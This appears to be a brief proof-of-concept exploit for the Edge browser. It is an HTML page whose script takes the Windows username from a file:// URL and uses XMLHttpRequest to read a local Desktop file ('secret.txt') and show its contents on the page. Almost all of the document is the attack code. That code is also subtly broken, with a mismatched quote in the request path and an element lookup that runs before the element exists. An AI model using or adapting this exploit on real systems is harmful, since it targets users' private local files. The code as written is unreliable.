Code Exploit Edge

<html>
<head>
<script>
let resultDiv = document.getElementById("result");
    let xhr= new XMLHttpRequest();
    let user = document.location.href.match(/file:\/\/\/C:\/Users\/([a-z0-9\-]*)\//i)[1];
    xhr.open("GET",'file://C:/Users/${user}/Desktop/secret.txt");
    xhr.onreadystatechange = ()=> {
     if(xhr.readyState==4) {
     resultDiv.innerText = xhr.responseText;
     }
    }
    xhr.send();
</script>
</head>
<body>
</body>
<div id="result"></div>
</html>